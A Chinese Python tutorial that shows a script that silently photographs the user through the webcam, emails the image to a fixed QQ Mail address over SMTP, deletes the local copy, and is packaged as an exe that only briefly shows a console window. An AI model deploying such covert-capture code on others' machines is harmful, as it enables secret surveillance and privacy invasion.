Python實(shí)現(xiàn)調(diào)用攝像頭拍攝照片
步驟
- 用opencv打開攝像頭并拍照
- 保存照片到本地
- 獲取郵箱(如qq郵箱)的授權(quán)碼,方法可自行百度
- 將照片以附件的形式發(fā)送到指定郵箱
- 刪除本地照片
代碼
import os # 刪除圖片文件 import cv2 # 調(diào)用攝像頭拍攝照片 from smtplib import SMTP_SSL # SSL加密的 傳輸協(xié)議 from email.mime.text import MIMEText # 構(gòu)建郵件文本 from email.mime.multipart import MIMEMultipart # 構(gòu)建郵件體 from email.header import Header # 發(fā)送內(nèi)容 # 調(diào)用攝像頭拍攝照片 def get_photo(): cap = cv2.VideoCapture(0) # 開啟攝像頭 f, frame = cap.read() # 將攝像頭中的一幀圖片數(shù)據(jù)保存 cv2.imwrite('image.jpg', frame) # 將圖片保存為本地文件 cap.release() # 關(guān)閉攝像頭 # 把圖片文件發(fā)送到我的郵箱 def send_message(): # 選擇QQ郵箱發(fā)送照片 host_server = 'smtp.qq.com' # QQ郵箱smtp服務(wù)器 pwd = 'xxxx' # 授權(quán)碼 from_qq_mail = 'xxx@qq.com' # 發(fā)件人 to_qq_mail = 'xxxx@qq.com' # 收件人 msg = MIMEMultipart() # 創(chuàng)建一封帶附件的郵件 msg['Subject'] = Header('攝像頭照片', 'UTF-8') # 消息主題 msg['From'] = from_qq_mail # 發(fā)件人 msg['To'] = Header("YH", 'UTF-8') # 收件人 msg.attach(MIMEText("照片", 'html', 'UTF-8')) # 添加郵件文本信息 # 加載附件到郵箱中 SSL 方式 加密 image = MIMEText(open('image.jpg', 'rb').read(), 'base64', 'utf-8') image["Content-Type"] = 'image/jpeg' # 附件格式為圖片的加密數(shù)據(jù) msg.attach(image) # 附件添加 # 開始發(fā)送郵件 smtp = SMTP_SSL(host_server) # 鏈接服務(wù)器 smtp .login(from_qq_mail, pwd) # 登錄郵箱 smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string()) # 發(fā)送郵箱 smtp.quit() # 退出 if __name__ == '__main__': get_photo() # 開啟攝像頭獲取照片 send_message() # 發(fā)送照片 os.remove('image.jpg') # 刪除本地照片
實(shí)現(xiàn)效果
將寫好的程序打包成exe文件
為了減小exe的大小可以自行新建一個(gè)虛擬環(huán)境再打包
雙擊exe暫時(shí)出現(xiàn)黑框
查看郵箱信息
需要下載附件后自行更改文件后綴就可查看所拍到的圖片了
到此這篇關(guān)于Python實(shí)現(xiàn)調(diào)用攝像頭拍攝照片的文章就介紹到這了,更多相關(guān)Python攝像頭拍攝照片內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
基于Python實(shí)現(xiàn)股票數(shù)據(jù)分析的可視化
在購(gòu)買股票的時(shí)候,可以使用歷史數(shù)據(jù)來對(duì)當(dāng)前的股票的走勢(shì)進(jìn)行預(yù)測(cè),這就需要對(duì)股票的數(shù)據(jù)進(jìn)行獲取并且進(jìn)行一定的分析。本文將介紹如何通過Python實(shí)現(xiàn)股票數(shù)據(jù)分析的可視化,需要的可以參考一下2021-12-12簡(jiǎn)單了解python filter、map、reduce的區(qū)別
這篇文章主要介紹了簡(jiǎn)單了解python filter、map、reduce的區(qū)別,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2020-01-01pandas DataFrame 交集并集補(bǔ)集的實(shí)現(xiàn)
這篇文章主要介紹了pandas DataFrame 交集并集補(bǔ)集的實(shí)現(xiàn),文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2019-06-06django實(shí)現(xiàn)用戶注冊(cè)實(shí)例講解
在本篇文章里小編給大家整理的是關(guān)于django用戶注冊(cè)的相關(guān)實(shí)例內(nèi)容,有興趣的朋友們學(xué)習(xí)下。2019-10-10Python基于jieba分詞實(shí)現(xiàn)snownlp情感分析
情感分析(sentiment analysis)是2018年公布的計(jì)算機(jī)科學(xué)技術(shù)名詞,它可以根據(jù)文本內(nèi)容判斷出所代表的含義是積極的還是負(fù)面的等。本文將通過jieba分詞實(shí)現(xiàn)snownlp情感分析,感興趣的可以了解一下2023-01-01python使用jenkins發(fā)送企業(yè)微信通知的實(shí)現(xiàn)
公司使用的是企業(yè)微信,因此考慮Jenkins通知企業(yè)微信機(jī)器人的實(shí)現(xiàn)方式,本文主要介紹了python使用jenkins發(fā)送企業(yè)微信通知的實(shí)現(xiàn),感興趣的可以了解一下2021-06-06